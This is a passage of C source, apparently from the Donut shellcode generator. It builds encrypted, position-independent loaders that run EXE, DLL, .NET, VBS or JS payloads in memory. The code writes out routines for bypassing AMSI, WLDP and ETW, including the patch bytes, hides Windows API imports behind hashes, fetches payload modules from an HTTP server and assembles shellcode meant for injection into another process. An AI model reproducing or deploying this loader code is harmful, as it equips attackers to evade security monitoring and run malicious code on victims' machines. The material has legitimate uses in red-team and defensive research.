if(c->runtime[0] == 0) {
|
|
strncpy(c->runtime, fi.ver, DONUT_MAX_NAME-1);
|
|
}
|
|
DPRINT("Runtime : %s", c->runtime);
|
|
strncpy(mod->runtime, c->runtime, DONUT_MAX_NAME-1);
|
|
} else
|
|
// Unmanaged DLL? copy function name to module
|
|
if(mod->type == DONUT_MODULE_DLL && c->method[0] != 0) {
|
|
DPRINT("DLL function : %s", c->method);
|
|
strncpy(mod->method, c->method, DONUT_MAX_NAME-1);
|
|
}
|
|
|
|
// Parameters specified?
|
|
if(c->args[0] != 0) {
|
|
// If file type is unmanaged EXE
|
|
if(mod->type == DONUT_MODULE_EXE) {
|
|
// If entropy is disabled
|
|
if(c->entropy == DONUT_ENTROPY_NONE) {
|
|
// Set to "AAAA"
|
|
memset(mod->args, 'A', 4);
|
|
} else {
|
|
// Generate 4-byte random name
|
|
if(!gen_random_string(mod->args, 4)) {
|
|
DPRINT("gen_random_string() failed");
|
|
err = DONUT_ERROR_RANDOM;
|
|
goto cleanup;
|
|
}
|
|
}
|
|
// Add space
|
|
mod->args[4] = ' ';
|
|
}
|
|
//
|
|
// Copy parameters
|
|
strncat(mod->args, c->args, DONUT_MAX_NAME-6);
|
|
}
|
|
DPRINT("Copying data to module");
|
|
|
|
memcpy(&mod->data, data, data_len);
|
|
// update configuration with pointer to module
|
|
c->mod = mod;
|
|
c->mod_len = mod_len;
|
|
cleanup:
|
|
// if there was an error, free memory for module
|
|
if(err != DONUT_ERROR_OK) {
|
|
DPRINT("Releasing memory due to errors.");
|
|
free(mod);
|
|
}
|
|
DPRINT("Leaving with error : %" PRId32, err);
|
|
return err;
|
|
}
|
|
|
|
/**
|
|
* Function: build_instance
|
|
* ----------------------------
|
|
* Creates the data necessary for main loader to execute VBS/JS/EXE/DLL files in memory.
|
|
*
|
|
* INPUT : Pointer to a Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int build_instance(PDONUT_CONFIG c) {
|
|
DONUT_CRYPT inst_key, mod_key;
|
|
PDONUT_INSTANCE inst = NULL;
|
|
int cnt, inst_len;
|
|
uint64_t dll_hash;
|
|
int err = DONUT_ERROR_OK;
|
|
|
|
DPRINT("Entering.");
|
|
|
|
// Allocate memory for the size of instance based on the type
|
|
DPRINT("Allocating memory for instance");
|
|
inst_len = sizeof(DONUT_INSTANCE);
|
|
|
|
// if the module is embedded, add the size of module
|
|
// that will be appended to the end of structure
|
|
if(c->inst_type == DONUT_INSTANCE_EMBED) {
|
|
DPRINT("The size of module is %" PRIi32 " bytes. "
|
|
"Adding to size of instance.", c->mod_len);
|
|
inst_len += c->mod_len;
|
|
}
|
|
DPRINT("Total length of instance : %"PRIi32, inst_len);
|
|
|
|
// allocate zero-initialized memory for instance
|
|
inst = (PDONUT_INSTANCE)calloc(inst_len, 1);
|
|
|
|
// Memory allocation failed? exit
|
|
if(inst == NULL) {
|
|
DPRINT("Memory allocation failed");
|
|
return DONUT_ERROR_NO_MEMORY;
|
|
}
|
|
|
|
// set the length of instance and pointer to it in configuration
|
|
c->inst = inst;
|
|
c->inst_len = inst->len = inst_len;
|
|
// set the type of instance we're creating
|
|
inst->type = c->inst_type;
|
|
// indicate if we should call RtlExitUserProcess to terminate host process
|
|
inst->exit_opt = c->exit_opt;
|
|
// set the Original Entry Point
|
|
inst->oep = c->oep;
|
|
// set the entropy level
|
|
inst->entropy = c->entropy;
|
|
// set the bypass level
|
|
inst->bypass = c->bypass;
|
|
// set the headers level
|
|
inst->headers = c->headers;
|
|
// set the module length
|
|
inst->mod_len = c->mod_len;
|
|
|
|
// encryption enabled?
|
|
if(c->entropy == DONUT_ENTROPY_DEFAULT) {
|
|
DPRINT("Generating random key for instance");
|
|
if(!gen_random(&inst_key, sizeof(DONUT_CRYPT))) {
|
|
DPRINT("gen_random() failed");
|
|
err = DONUT_ERROR_RANDOM;
|
|
goto cleanup;
|
|
}
|
|
// copy local key to configuration
|
|
memcpy(&inst->key, &inst_key, sizeof(DONUT_CRYPT));
|
|
|
|
DPRINT("Generating random key for module");
|
|
if(!gen_random(&mod_key, sizeof(DONUT_CRYPT))) {
|
|
DPRINT("gen_random() failed");
|
|
err = DONUT_ERROR_RANDOM;
|
|
goto cleanup;
|
|
}
|
|
// copy local key to configuration
|
|
memcpy(&inst->mod_key, &mod_key, sizeof(DONUT_CRYPT));
|
|
|
|
DPRINT("Generating random string to verify decryption");
|
|
if(!gen_random_string(inst->sig, DONUT_SIG_LEN)) {
|
|
DPRINT("gen_random() failed");
|
|
err = DONUT_ERROR_RANDOM;
|
|
goto cleanup;
|
|
}
|
|
|
|
DPRINT("Generating random IV for Maru hash");
|
|
if(!gen_random(&inst->iv, MARU_IV_LEN)) {
|
|
DPRINT("gen_random() failed");
|
|
err = DONUT_ERROR_RANDOM;
|
|
goto cleanup;
|
|
}
|
|
}
|
|
|
|
DPRINT("Generating hashes for API using IV: %" PRIX64, inst->iv);
|
|
|
|
for(cnt=0; api_imports[cnt].module != NULL; cnt++) {
|
|
// calculate hash for DLL string
|
|
dll_hash = maru(api_imports[cnt].module, inst->iv);
|
|
|
|
// calculate hash for API string.
|
|
// xor with DLL hash and store in instance
|
|
inst->api.hash[cnt] = maru(api_imports[cnt].name, inst->iv) ^ dll_hash;
|
|
|
|
DPRINT("Hash for %-15s : %-22s = %016" PRIX64,
|
|
api_imports[cnt].module,
|
|
api_imports[cnt].name,
|
|
inst->api.hash[cnt]);
|
|
}
|
|
|
|
DPRINT("Setting number of API to %" PRIi32, cnt);
|
|
inst->api_cnt = cnt;
|
|
|
|
DPRINT("Setting DLL names to %s", DLL_NAMES);
|
|
strcpy(inst->dll_names, DLL_NAMES);
|
|
|
|
// if module is .NET assembly
|
|
if(c->mod_type == DONUT_MODULE_NET_DLL ||
|
|
c->mod_type == DONUT_MODULE_NET_EXE)
|
|
{
|
|
DPRINT("Copying GUID structures and DLL strings for loading .NET assemblies");
|
|
|
|
memcpy(&inst->xIID_AppDomain, &xIID_AppDomain, sizeof(GUID));
|
|
memcpy(&inst->xIID_ICLRMetaHost, &xIID_ICLRMetaHost, sizeof(GUID));
|
|
memcpy(&inst->xCLSID_CLRMetaHost, &xCLSID_CLRMetaHost, sizeof(GUID));
|
|
memcpy(&inst->xIID_ICLRRuntimeInfo, &xIID_ICLRRuntimeInfo, sizeof(GUID));
|
|
memcpy(&inst->xIID_ICorRuntimeHost, &xIID_ICorRuntimeHost, sizeof(GUID));
|
|
memcpy(&inst->xCLSID_CorRuntimeHost, &xCLSID_CorRuntimeHost, sizeof(GUID));
|
|
} else
|
|
// if module is VBS or JS
|
|
if(c->mod_type == DONUT_MODULE_VBS ||
|
|
c->mod_type == DONUT_MODULE_JS)
|
|
{
|
|
DPRINT("Copying GUID structures and DLL strings for loading VBS/JS");
|
|
|
|
memcpy(&inst->xIID_IUnknown, &xIID_IUnknown, sizeof(GUID));
|
|
memcpy(&inst->xIID_IDispatch, &xIID_IDispatch, sizeof(GUID));
|
|
memcpy(&inst->xIID_IHost, &xIID_IHost, sizeof(GUID));
|
|
memcpy(&inst->xIID_IActiveScript, &xIID_IActiveScript, sizeof(GUID));
|
|
memcpy(&inst->xIID_IActiveScriptSite, &xIID_IActiveScriptSite, sizeof(GUID));
|
|
memcpy(&inst->xIID_IActiveScriptSiteWindow, &xIID_IActiveScriptSiteWindow, sizeof(GUID));
|
|
memcpy(&inst->xIID_IActiveScriptParse32, &xIID_IActiveScriptParse32, sizeof(GUID));
|
|
memcpy(&inst->xIID_IActiveScriptParse64, &xIID_IActiveScriptParse64, sizeof(GUID));
|
|
|
|
strcpy(inst->wscript, "WScript");
|
|
strcpy(inst->wscript_exe, "wscript.exe");
|
|
|
|
if(c->mod_type == DONUT_MODULE_VBS) {
|
|
memcpy(&inst->xCLSID_ScriptLanguage, &xCLSID_VBScript, sizeof(GUID));
|
|
} else {
|
|
memcpy(&inst->xCLSID_ScriptLanguage, &xCLSID_JScript, sizeof(GUID));
|
|
}
|
|
}
|
|
|
|
// if bypassing enabled, copy these strings over
|
|
if(c->bypass != DONUT_BYPASS_NONE) {
|
|
DPRINT("Copying strings required to bypass AMSI");
|
|
|
|
strcpy(inst->clr, "clr");
|
|
strcpy(inst->amsi, "amsi");
|
|
strcpy(inst->amsiInit, "AmsiInitialize");
|
|
strcpy(inst->amsiScanBuf, "AmsiScanBuffer");
|
|
strcpy(inst->amsiScanStr, "AmsiScanString");
|
|
|
|
DPRINT("Copying strings required to bypass WLDP");
|
|
|
|
strcpy(inst->wldp, "wldp");
|
|
strcpy(inst->wldpQuery, "WldpQueryDynamicCodeTrust");
|
|
strcpy(inst->wldpIsApproved, "WldpIsClassInApprovedList");
|
|
|
|
DPRINT("Copying strings required to bypass ETW");
|
|
strcpy(inst->ntdll, "ntdll");
|
|
strcpy(inst->etwEventWrite, "EtwEventWrite");
|
|
strcpy(inst->etwEventUnregister, "EtwEventUnregister");
|
|
strcpy(inst->etwRet64, "\xc3");
|
|
strcpy(inst->etwRet32, "\xc2\x14\x00\x00");
|
|
}
|
|
|
|
// if module is an unmanaged EXE
|
|
if(c->mod_type == DONUT_MODULE_EXE) {
|
|
// does the user specify parameters for the command line?
|
|
if(c->args[0] != 0) {
|
|
DPRINT("Copying strings required to replace command line.");
|
|
|
|
strcpy(inst->dataname, ".data");
|
|
strcpy(inst->kernelbase, "kernelbase");
|
|
strcpy(inst->cmd_syms, "_acmdln;__argv;__p__acmdln;__p___argv;_wcmdln;__wargv;__p__wcmdln;__p___wargv");
|
|
}
|
|
// does user want loader to run the entrypoint as a thread?
|
|
if(c->thread != 0) {
|
|
DPRINT("Copying strings required to intercept exit-related API");
|
|
// these exit-related API will be replaced with pointer to RtlExitUserThread
|
|
strcpy(inst->exit_api, "ExitProcess;exit;_exit;_cexit;_c_exit;quick_exit;_Exit");
|
|
}
|
|
}
|
|
|
|
// decoy module path
|
|
strcpy(inst->decoy, c->decoy);
|
|
|
|
// if the module will be downloaded
|
|
// set the URL parameter and request verb
|
|
if(inst->type == DONUT_INSTANCE_HTTP) {
|
|
// if no module name specified
|
|
if(c->modname[0] == 0) {
|
|
// if entropy disabled
|
|
if(c->entropy == DONUT_ENTROPY_NONE) {
|
|
// set to "AAAAAAAA"
|
|
memset(c->modname, 'A', DONUT_MAX_MODNAME);
|
|
} else {
|
|
// generate a random name for module
|
|
// that will be saved to disk
|
|
DPRINT("Generating random name for module");
|
|
if(!gen_random_string(c->modname, DONUT_MAX_MODNAME)) {
|
|
DPRINT("gen_random_string() failed");
|
|
err = DONUT_ERROR_RANDOM;
|
|
goto cleanup;
|
|
}
|
|
}
|
|
DPRINT("Name for module : %s", c->modname);
|
|
}
|
|
strcpy(inst->server, c->server);
|
|
// append module name
|
|
strcat(inst->server, c->modname);
|
|
// set the request verb
|
|
strcpy(inst->http_req, "GET");
|
|
|
|
DPRINT("Loader will attempt to download module from : %s", inst->server);
|
|
|
|
// encrypt module?
|
|
if(c->entropy == DONUT_ENTROPY_DEFAULT) {
|
|
DPRINT("Encrypting module");
|
|
|
|
c->mod->mac = maru(inst->sig, inst->iv);
|
|
|
|
donut_encrypt(
|
|
mod_key.mk,
|
|
mod_key.ctr,
|
|
c->mod,
|
|
c->mod_len);
|
|
}
|
|
} else
|
|
// if embedded, copy module to instance
|
|
if(inst->type == DONUT_INSTANCE_EMBED) {
|
|
DPRINT("Copying module data to instance");
|
|
memcpy(&c->inst->module.x, c->mod, c->mod_len);
|
|
}
|
|
|
|
// encrypt instance?
|
|
if(c->entropy == DONUT_ENTROPY_DEFAULT) {
|
|
DPRINT("Encrypting instance");
|
|
|
|
inst->mac = maru(inst->sig, inst->iv);
|
|
|
|
uint8_t *inst_data = (uint8_t*)inst + offsetof(DONUT_INSTANCE, api_cnt);
|
|
|
|
donut_encrypt(
|
|
inst_key.mk,
|
|
inst_key.ctr,
|
|
inst_data,
|
|
c->inst_len - offsetof(DONUT_INSTANCE, api_cnt));
|
|
}
|
|
cleanup:
|
|
// error? release memory for everything
|
|
if(err != DONUT_ERROR_OK) {
|
|
DPRINT("Releasing memory for module due to errors.");
|
|
free(c->mod);
|
|
}
|
|
DPRINT("Leaving with error : %" PRId32, err);
|
|
return err;
|
|
}
|
|
|
|
/**
|
|
* Function: save_file
|
|
* ----------------------------
|
|
* Creates a file and writes the contents of input buffer to it.
|
|
*
|
|
* INPUT : path = where to create file.
|
|
* data = what to write to file.
|
|
* len = length of data.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int save_file(const char *path, void *data, int len) {
|
|
FILE *out;
|
|
int err = DONUT_ERROR_OK;
|
|
|
|
DPRINT("Entering.");
|
|
out = fopen(path, "wb");
|
|
|
|
if(out != NULL) {
|
|
DPRINT("Writing %d bytes of %p to %s", len, data, path);
|
|
fwrite(data, 1, len, out);
|
|
fclose(out);
|
|
} else err = DONUT_ERROR_FILE_ACCESS;
|
|
|
|
DPRINT("Leaving with error : %" PRId32, err);
|
|
return err;
|
|
}
|
|
|
|
/**
|
|
* Function: save_loader
|
|
* ----------------------------
|
|
* Saves the loader to output file. Also saves instance for debug builds.
|
|
* If the instance type is HTTP, it saves the module to file.
|
|
*
|
|
* INPUT : Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int save_loader(PDONUT_CONFIG c) {
|
|
int err = DONUT_ERROR_OK;
|
|
FILE *fd;
|
|
|
|
// if DEBUG is defined, save instance to disk
|
|
#ifdef DEBUG
|
|
DPRINT("Saving instance %p to file. %" PRId32 " bytes.", c->inst, c->inst_len);
|
|
save_file("instance", c->inst, c->inst_len);
|
|
#endif
|
|
|
|
// If the module will be stored on a remote server
|
|
if(c->inst_type == DONUT_INSTANCE_HTTP) {
|
|
DPRINT("Saving %s to file.", c->modname);
|
|
save_file(c->modname, c->mod, c->mod_len);
|
|
}
|
|
|
|
// no output file specified?
|
|
if(c->output[0] == 0) {
|
|
// set to default name based on format
|
|
switch(c->format) {
|
|
case DONUT_FORMAT_BINARY:
|
|
strncpy(c->output, "loader.bin", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_BASE64:
|
|
strncpy(c->output, "loader.b64", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_RUBY:
|
|
strncpy(c->output, "loader.rb", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_C:
|
|
strncpy(c->output, "loader.c", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_PYTHON:
|
|
strncpy(c->output, "loader.py", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_POWERSHELL:
|
|
strncpy(c->output, "loader.ps1", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_CSHARP:
|
|
strncpy(c->output, "loader.cs", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_HEX:
|
|
strncpy(c->output, "loader.hex", DONUT_MAX_NAME-1);
|
|
break;
|
|
case DONUT_FORMAT_UUID:
|
|
strncpy(c->output, "loader.uuid", DONUT_MAX_NAME-1);
|
|
break;
|
|
}
|
|
}
|
|
// save loader to file
|
|
fd = fopen(c->output, "wb");
|
|
if(fd == NULL) {
|
|
DPRINT("Opening %s failed.", c->output);
|
|
return DONUT_ERROR_FILE_ACCESS;
|
|
}
|
|
|
|
switch(c->format) {
|
|
case DONUT_FORMAT_BINARY: {
|
|
DPRINT("Saving loader as binary");
|
|
fwrite(c->pic, 1, c->pic_len, fd);
|
|
err = DONUT_ERROR_OK;
|
|
break;
|
|
}
|
|
case DONUT_FORMAT_BASE64: {
|
|
DPRINT("Saving loader as base64 string");
|
|
err = base64_template(c->pic, c->pic_len, fd);
|
|
break;
|
|
}
|
|
case DONUT_FORMAT_RUBY:
|
|
case DONUT_FORMAT_C:
|
|
DPRINT("Saving loader as C/Ruby string");
|
|
err = c_ruby_template(c->pic, c->pic_len, fd);
|
|
break;
|
|
case DONUT_FORMAT_PYTHON:
|
|
DPRINT("Saving loader as Python string");
|
|
err = py_template(c->pic, c->pic_len, fd);
|
|
break;
|
|
case DONUT_FORMAT_POWERSHELL:
|
|
DPRINT("Saving loader as Powershell string");
|
|
err = powershell_template(c->pic, c->pic_len, fd);
|
|
break;
|
|
case DONUT_FORMAT_CSHARP:
|
|
DPRINT("Saving loader as C# string");
|
|
err = csharp_template(c->pic, c->pic_len, fd);
|
|
break;
|
|
case DONUT_FORMAT_HEX:
|
|
DPRINT("Saving loader as Hex string");
|
|
err = hex_template(c->pic, c->pic_len, fd);
|
|
break;
|
|
case DONUT_FORMAT_UUID:
|
|
DPRINT("Saving loader as UUID string");
|
|
err = uuid_template(c->pic, c->pic_len, fd);
|
|
break;
|
|
}
|
|
fclose(fd);
|
|
DPRINT("Leaving with error : %" PRId32, err);
|
|
return err;
|
|
}
|
|
|
|
/**
|
|
* Function: build_loader
|
|
* ----------------------------
|
|
* Builds the shellcode that's injected into remote process.
|
|
*
|
|
* INPUT : Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int build_loader(PDONUT_CONFIG c) {
|
|
uint8_t *pl;
|
|
uint32_t t;
|
|
|
|
// target is x86?
|
|
if(c->arch == DONUT_ARCH_X86) {
|
|
c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
|
|
} else
|
|
// target is amd64?
|
|
if(c->arch == DONUT_ARCH_X64) {
|
|
c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
|
|
} else
|
|
// target can be both x86 and amd64?
|
|
if(c->arch == DONUT_ARCH_X84) {
|
|
c->pic_len = sizeof(LOADER_EXE_X86) +
|
|
sizeof(LOADER_EXE_X64) + c->inst_len + 32;
|
|
}
|
|
// allocate memory for shellcode
|
|
c->pic = malloc(c->pic_len);
|
|
|
|
if(c->pic == NULL) {
|
|
DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
|
|
return DONUT_ERROR_NO_MEMORY;
|
|
}
|
|
|
|
DPRINT("Inserting opcodes");
|
|
|
|
// insert shellcode
|
|
pl = (uint8_t*)c->pic;
|
|
|
|
// call $ + c->inst_len
|
|
PUT_BYTE(pl, 0xE8);
|
|
PUT_WORD(pl, c->inst_len);
|
|
PUT_BYTES(pl, c->inst, c->inst_len);
|
|
// pop ecx
|
|
PUT_BYTE(pl, 0x59);
|
|
|
|
// x86?
|
|
if(c->arch == DONUT_ARCH_X86) {
|
|
// pop edx
|
|
PUT_BYTE(pl, 0x5A);
|
|
// push ecx
|
|
PUT_BYTE(pl, 0x51);
|
|
// push edx
|
|
PUT_BYTE(pl, 0x52);
|
|
|
|
DPRINT("Copying %" PRIi32 " bytes of x86 shellcode",
|
|
(uint32_t)sizeof(LOADER_EXE_X86));
|
|
|
|
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
|
|
} else
|
|
// AMD64?
|
|
if(c->arch == DONUT_ARCH_X64) {
|
|
|
|
DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode",
|
|
(uint32_t)sizeof(LOADER_EXE_X64));
|
|
|
|
// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
|
|
|
|
// and rsp, -0x10
|
|
PUT_BYTE(pl, 0x48);
|
|
PUT_BYTE(pl, 0x83);
|
|
PUT_BYTE(pl, 0xE4);
|
|
PUT_BYTE(pl, 0xF0);
|
|
// push rcx
|
|
// this is just for alignment, any 8 bytes would do
|
|
PUT_BYTE(pl, 0x51);
|
|
|
|
PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
|
|
} else
|
|
// x86 + AMD64?
|
|
if(c->arch == DONUT_ARCH_X84) {
|
|
|
|
DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
|
|
(uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));
|
|
|
|
// xor eax, eax
|
|
PUT_BYTE(pl, 0x31);
|
|
PUT_BYTE(pl, 0xC0);
|
|
// dec eax
|
|
PUT_BYTE(pl, 0x48);
|
|
// js dword x86_code
|
|
PUT_BYTE(pl, 0x0F);
|
|
PUT_BYTE(pl, 0x88);
|
|
PUT_WORD(pl, sizeof(LOADER_EXE_X64) + 5);
|
|
|
|
// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
|
|
|
|
// and rsp, -0x10
|
|
PUT_BYTE(pl, 0x48);
|
|
PUT_BYTE(pl, 0x83);
|
|
PUT_BYTE(pl, 0xE4);
|
|
PUT_BYTE(pl, 0xF0);
|
|
// push rcx
|
|
// this is just for alignment, any 8 bytes would do
|
|
PUT_BYTE(pl, 0x51);
|
|
|
|
PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
|
|
// pop edx
|
|
PUT_BYTE(pl, 0x5A);
|
|
// push ecx
|
|
PUT_BYTE(pl, 0x51);
|
|
// push edx
|
|
PUT_BYTE(pl, 0x52);
|
|
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
|
|
}
|
|
return DONUT_ERROR_OK;
|
|
}
|
|
|
|
/**
|
|
* Function: validate_loader_cfg
|
|
* ----------------------------
|
|
* Validates Donut configuration for loader.
|
|
*
|
|
* INPUT : Pointer to a Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int validate_loader_cfg(PDONUT_CONFIG c) {
|
|
uint32_t url_len;
|
|
|
|
DPRINT("Validating loader configuration.");
|
|
|
|
if(c == NULL || c->input[0] == 0) {
|
|
DPRINT("No configuration or input file provided.");
|
|
return DONUT_ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
if(c->inst_type != DONUT_INSTANCE_EMBED &&
|
|
c->inst_type != DONUT_INSTANCE_HTTP) {
|
|
|
|
DPRINT("Instance type %" PRIx32 " is invalid.", c->inst_type);
|
|
return DONUT_ERROR_INVALID_PARAMETER;
|
|
}
|
|
|
|
if(c->format < DONUT_FORMAT_BINARY || c->format > DONUT_FORMAT_UUID) {
|
|
DPRINT("Format type %" PRId32 " is invalid.", c->format);
|
|
return DONUT_ERROR_INVALID_FORMAT;
|
|
}
|
|
|
|
#ifdef WINDOWS
|
|
if(c->compress != DONUT_COMPRESS_NONE &&
|
|
c->compress != DONUT_COMPRESS_APLIB &&
|
|
c->compress != DONUT_COMPRESS_LZNT1 &&
|
|
c->compress != DONUT_COMPRESS_XPRESS)
|
|
{
|
|
DPRINT("Compression engine %" PRId32 " is invalid.", c->compress);
|
|
return DONUT_ERROR_INVALID_ENGINE;
|
|
}
|
|
#else
|
|
if(c->compress != DONUT_COMPRESS_NONE &&
|
|
c->compress != DONUT_COMPRESS_APLIB)
|
|
{
|
|
DPRINT("Compression engine %" PRId32 " is invalid.", c->compress);
|
|
return DONUT_ERROR_INVALID_ENGINE;
|
|
}
|
|
#endif
|
|
|
|
if(c->entropy != DONUT_ENTROPY_NONE &&
|
|
c->entropy != DONUT_ENTROPY_RANDOM &&
|
|
c->entropy != DONUT_ENTROPY_DEFAULT)
|
|
{
|
|
DPRINT("Entropy level %" PRId32 " is invalid.", c->entropy);
|
|
return DONUT_ERROR_INVALID_ENTROPY;
|
|
}
|
|
|
|
if(c->inst_type == DONUT_INSTANCE_HTTP) {
|
|
// no URL? exit
|
|
if(c->server[0] == 0) {
|
|
DPRINT("Error: No HTTP server provided.");
|
|
return DONUT_ERROR_INVALID_PARAMETER;
|
|
}
|
|
// doesn't begin with one of the following? exit
|
|
if((strnicmp(c->server, "http://", 7) != 0) &&
|
|
(strnicmp(c->server, "https://", 8) != 0)) {
|
|
|
|
DPRINT("URL is invalid : %s", c->server);
|
|
return DONUT_ERROR_INVALID_URL;
|
|
}
|
|
// invalid length?
|
|
url_len = (uint32_t)strlen(c->server);
|
|
|
|
if(url_len <= 8) {
|
|
DPRINT("URL length : %" PRId32 " is invalid.", url_len);
|
|
return DONUT_ERROR_URL_LENGTH;
|
|
}
|
|
// if the end of string doesn't have a forward slash
|
|
// add one more to account for it
|
|
if(c->server[url_len - 1] != '/') {
|
|
c->server[url_len] = '/';
|
|
url_len++;
|
|
}
|
|
|
|
if((url_len + DONUT_MAX_MODNAME) >= DONUT_MAX_NAME) {
|
|
DPRINT("URL length : %" PRId32 " exceeds size of buffer : %"PRId32,
|
|
url_len+DONUT_MAX_MODNAME, DONUT_MAX_NAME);
|
|
return DONUT_ERROR_URL_LENGTH;
|
|
}
|
|
}
|
|
|
|
if(c->arch != DONUT_ARCH_X86 &&
|
|
c->arch != DONUT_ARCH_X64 &&
|
|
c->arch != DONUT_ARCH_X84 &&
|
|
c->arch != DONUT_ARCH_ANY)
|
|
{
|
|
DPRINT("Target architecture %"PRId32 " is invalid.", c->arch);
|
|
return DONUT_ERROR_INVALID_ARCH;
|
|
}
|
|
|
|
if(c->bypass != DONUT_BYPASS_NONE &&
|
|
c->bypass != DONUT_BYPASS_ABORT &&
|
|
c->bypass != DONUT_BYPASS_CONTINUE)
|
|
{
|
|
DPRINT("Option to bypass AMSI/WDLP/ETW %"PRId32" is invalid.", c->bypass);
|
|
return DONUT_ERROR_BYPASS_INVALID;
|
|
}
|
|
|
|
if(c->headers != DONUT_HEADERS_OVERWRITE &&
|
|
c->headers != DONUT_HEADERS_KEEP)
|
|
{
|
|
DPRINT("Option to preserve PE headers (or not) %"PRId32" is invalid.", c->headers);
|
|
return DONUT_ERROR_HEADERS_INVALID;
|
|
}
|
|
|
|
DPRINT("Loader configuration passed validation.");
|
|
return DONUT_ERROR_OK;
|
|
}
|
|
|
|
/**
|
|
* Function: is_dll_export
|
|
* ----------------------------
|
|
* Validates if a DLL exports a function.
|
|
*
|
|
* INPUT : Name of DLL function to check.
|
|
*
|
|
* OUTPUT : 1 if found, else 0
|
|
*/
|
|
static int is_dll_export(const char *function) {
|
|
PIMAGE_DATA_DIRECTORY dir;
|
|
PIMAGE_EXPORT_DIRECTORY exp;
|
|
DWORD rva, cnt;
|
|
ULONG64 ofs;
|
|
PDWORD sym;
|
|
PCHAR str;
|
|
int found = 0;
|
|
|
|
DPRINT("Entering.");
|
|
|
|
dir = Dirs(fi.data);
|
|
if(dir != NULL) {
|
|
rva = dir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
|
DPRINT("EAT VA : %lx", rva);
|
|
if(rva != 0) {
|
|
ofs = rva2ofs(fi.data, rva);
|
|
DPRINT("Offset = %" PRIX64 "\n", ofs);
|
|
if(ofs != -1) {
|
|
exp = (PIMAGE_EXPORT_DIRECTORY)(fi.data + ofs);
|
|
cnt = exp->NumberOfNames;
|
|
DPRINT("Number of exported functions : %lx", cnt);
|
|
|
|
if(cnt != 0) {
|
|
sym = (PDWORD)(rva2ofs(fi.data, exp->AddressOfNames) + fi.data);
|
|
// scan array for symbol
|
|
do {
|
|
str = (PCHAR)(rva2ofs(fi.data, sym[cnt - 1]) + fi.data);
|
|
// if match found, exit
|
|
if(strcmp(str, function) == 0) {
|
|
DPRINT("Found API");
|
|
found = 1;
|
|
break;
|
|
}
|
|
} while (--cnt);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
DPRINT("Leaving.");
|
|
return found;
|
|
}
|
|
|
|
/**
|
|
* Function: validate_file_cfg
|
|
* ----------------------------
|
|
* Validates configuration for the input file.
|
|
*
|
|
* INPUT : Pointer to Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
static int validate_file_cfg(PDONUT_CONFIG c) {
|
|
DPRINT("Validating configuration for input file.");
|
|
|
|
// Unmanaged EXE/DLL?
|
|
if(fi.type == DONUT_MODULE_DLL ||
|
|
fi.type == DONUT_MODULE_EXE)
|
|
{
|
|
// Requested shellcode is x86, but file is x64?
|
|
// Requested shellcode is x64, but file is x86?
|
|
if((c->arch == DONUT_ARCH_X86 &&
|
|
fi.arch == DONUT_ARCH_X64) ||
|
|
(c->arch == DONUT_ARCH_X64 &&
|
|
fi.arch == DONUT_ARCH_X86))
|
|
{
|
|
DPRINT("Target architecture %"PRId32 " is not compatible with DLL/EXE %"PRId32, c->arch, fi.arch);
|
|
return DONUT_ERROR_ARCH_MISMATCH;
|
|
}
|
|
// DLL function specified. Does it exist?
|
|
if(fi.type == DONUT_MODULE_DLL && c->method[0] != 0)
|
|
{
|
|
if(!is_dll_export(c->method)) {
|
|
DPRINT("Unable to locate function \"%s\" in DLL", c->method);
|
|
return DONUT_ERROR_DLL_FUNCTION;
|
|
}
|
|
}
|
|
}
|
|
// .NET DLL assembly?
|
|
if(fi.type == DONUT_MODULE_NET_DLL) {
|
|
// DLL requires class and method
|
|
if(c->cls[0] == 0 || c->method[0] == 0) {
|
|
DPRINT("Input file is a .NET assembly, but no class and method have been specified.");
|
|
return DONUT_ERROR_NET_PARAMS;
|
|
}
|
|
}
|
|
|
|
// is this an unmanaged DLL with parameters?
|
|
if(fi.type == DONUT_MODULE_DLL && c->args[0] != 0) {
|
|
// we need a DLL function
|
|
if(c->method[0] == 0) {
|
|
DPRINT("Parameters are provided for an unmanaged/native DLL, but no function.");
|
|
return DONUT_ERROR_DLL_PARAM;
|
|
}
|
|
}
|
|
DPRINT("Validation passed.");
|
|
return DONUT_ERROR_OK;
|
|
}
|
|
|
|
/**
|
|
* Function: DonutCreate
|
|
* ----------------------------
|
|
* Builds a position-independent loader for VBS/JS/EXE/DLL files.
|
|
*
|
|
* INPUT : Pointer to a Donut configuration.
|
|
*
|
|
* OUTPUT : Donut error code.
|
|
*/
|
|
EXPORT_FUNC
|
|
int DonutCreate(PDONUT_CONFIG c) {
|
|
int err = DONUT_ERROR_OK;
|
|
|
|
DPRINT("Entering.");
|
|
|
|
